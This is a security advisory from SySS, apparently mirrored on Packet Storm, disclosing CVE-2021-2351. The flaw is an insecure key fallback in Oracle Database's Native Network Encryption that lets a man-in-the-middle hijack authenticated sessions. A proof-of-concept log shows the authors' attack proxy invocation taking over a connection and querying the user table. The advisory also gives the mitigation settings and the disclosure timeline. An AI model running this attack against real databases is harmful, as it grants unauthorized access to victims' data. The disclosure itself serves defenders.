exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Oracle Database Protection Mechanism Bypass

Oracle Database Protection Mechanism Bypass
Posted Dec 13, 2021
Authored by Moritz Bechler | Site syss.de

Due to insecure fallback behavior, a man-in-the-middle attacker can bypass NNE's protection against man-in-the-middle attacks and hijack authenticated connections. In some configurations, a full man-in-the-middle attack is possible. Oracle Database versions 19c, 12.2.0.1, and 12.1.0.2 are affected.

tags | exploit
advisories | CVE-2021-2351
SHA-256 | d0de07f4f0e48542261c0ae9b420a3424f2d3aa4191dbb91e07c6c991ab3de7b

Oracle Database Protection Mechanism Bypass

Change Mirror Download
Advisory ID:               SYSS-2021-061 
Product: Database
Manufacturer: Oracle
Affected Version(s): 12.1.0.2, 12.2.0.1, 19c
Tested Version(s): 18c
Vulnerability Type: Protection Mechanism Failure (CWE-693)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2021-03-17
Solution Date: 2021-08-07
Public Disclosure: 2021-12-10
CVE Reference: CVE-2021-2351
Author of Advisory: Moritz Bechler, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

Oracle Database is a general purpose relational database management
system (RDMBS).

The manufacturer describes the product as follows (see [1]):

"Oracle database products offer customers cost-optimized and high-performance
versions of Oracle Database, the world's leading converged, multi-model
database management system, as well as in-memory, NoSQL and MySQL databases.
Oracle Autonomous Database, available on premises via Oracle Cloud@Customer
or in the Oracle Cloud Infrastructure, enables customers to simplify relational
database environments and reduce management workloads."

To protect the client/server communication, a proprietary security protocol
"Native Network Encryption" (NNE) is used.
A TLS-based alternative can optionally be configured.

Due to insecure fallback behavior, a man-in-the-middle attacker can bypass
NNE's protection against man-in-the-middle attacks and hijack authenticated
connections. In some configurations, a full man-in-the-middle attack is
possible.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

To mitigate against man-in-the-middle attacks on the initial Diffie-
Hellman key exchange, the protocol implements the mixin of an additional
shared key that is established by the authentication protocol
(typically O5Logon). This relies on the fact that both client and server
have knowledge of the user password (hash), which a potential attacker
does not have.

For more details on the protocol, refer to our paper [4].

SySS, however, found out that the JDBC Thin client implementation did
not implement that fold-in and its connections were still accepted
by database servers. The server performs a fallback to the initial
session key if the decryption/integrity check fails.

That original key is known to an attacker who has performed a classic
man-in-the-middle attack against the initial Diffie-Hellman key exchange.

For JDBC Thin client, this allows direct observation and manipulation
of the application level traffic, as both parties still use the
original keys.

Nevertheless, other clients, which implement the authentication key fold-in,
are still vulnerable. While the client expects a different session key
after authentication has completed, it can simply be dropped/ignored.
The server side of the connection at this point is already authenticated
and communication is still possible due to the key fallback. This grants
access to the database system as the original victim user.

This attack is successful in all known configurations, except if TLS
security is used.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

For protocol analysis and attacks, SySS built a proxy server implementing
the database protocol fundamentals and NNE. The proxy can perform a
man-in-the-middle attack against the Diffie-Hellman key exchange during
NNE negotation. Then, the necessary translation and adjustment between
the client and server, which are now using different session keys, is
performed.

Launching the proxy and redirecting a client connection to it, the
man-in-the-middle attack is performed. The encrypted part of the further
protocol negotiation can be observed, including the authentication exchange.
Then, the client is dropped, and the proxy sends a predefined query to the
server.

The following log excerpt shows an OCI client (21.3) connecting as the
system user. The connection is hijacked and the system user table is
queried by the attack proxy.

> ./mitm.py --targethost 172.17.0.1 --mitmDH --hijackConnection
[...]
|###[ Service ]###
| serviceId = encryption
| numParameters= 2
| unknown1 = 0
|###[ EncryptionResp ]###
| version = 12000000
| algo = AES256
|###[ Service ]###
| serviceId = integrity
| numParameters= 8
| unknown1 = 0
|###[ IntegrityResp ]###
| version = 12000000
| algo = SHA256
| len1 = 0800
| len2 = 0800
| generator = [...]
| prime = [...]
| public = [...]
| rand = 666F6F206261722062617A206261742071757578

[...]
DEBUG:root:Forward server -> client
DEBUG:root:Received encrypted payload [...]
[...]\x0cAUTH_USER_ID\x01\x00\x00\x00\x019\x00\x00\x00\x00\x0f\x00\x00\x00\x0fAUTH_SESSION_ID[...]
[authentication completed at this point]
INFO:root:Initially hijacking connection
[...]
DEBUG:root:Received encrypted payload [...]
INFO:root:###[ TTIMsg ]###
TTCode = 8
###[ RPA ]###
outNbPairs= None
\nbPairs \
|###[ KVPair ]###
| keyPtr = None
| key = b'\x00VOracle Database 18c Express Edition Release 18.0.0.0.0 - Production\nVersion 18.4.0.0'
[...]

INFO:root:b'[...]+select DISTINCT username FROM sys.all_users[...]
INFO:root:Send encrypted payload [...] len 368
[...]
DEBUG:root:Received encrypted payload [...]
INFO:root:###[ TTIMsg ]###
TTCode = 6
###[ Raw ]###
load = '[...]\x07\x06DBSNMP\x07\tAPPQOSSYS\x07\nGSMCATUSER\x07\x05GGSYS\x07\x03XDB[...]'

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Update the Oracle Database servers and clients to the patched versions.
Enforce usage of a secured protocol version by setting the following options:

SQLNET.ALLOW_WEAK_CRYPTO_CLIENTS=FALSE (server-side)
SQLNET.ALLOW_WEAK_CRYPTO=FALSE (client-side)


Or use TLS-based transport security instead of Native Network Encryption.


More information:
https://www.oracle.com/security-alerts/cpujul2021.html
https://support.oracle.com/rs?type=doc&id=2791571.1 (customer account required)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2021-03-02: Vulnerability discovered
2021-03-17: Vulnerability reported to manufacturer
2021-07-20: Initial patch release by manufacturer,
2021-08-07: Final patches released by manufacturer
2021-12-10: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for Oracle Database
https://www.oracle.com/database/
[2] SySS Security Advisory SYSS-2021-061
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-061.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[4] Paper "Oracle Native Network Encryption"
https://www.syss.de/fileadmin/dokumente/Publikationen/2021/2021_Oracle_NNE.pdf

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Moritz Bechler of SySS GmbH.

E-Mail: moritz.bechler@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Bechler.asc
Key ID: 0x768EFE2BB3E53DDA
Key Fingerprint: 2C8F F101 9D77 BDE6 465E CCC2 768E FE2B B3E5 3DDA

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: https://creativecommons.org/licenses/by/3.0/deed.en

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close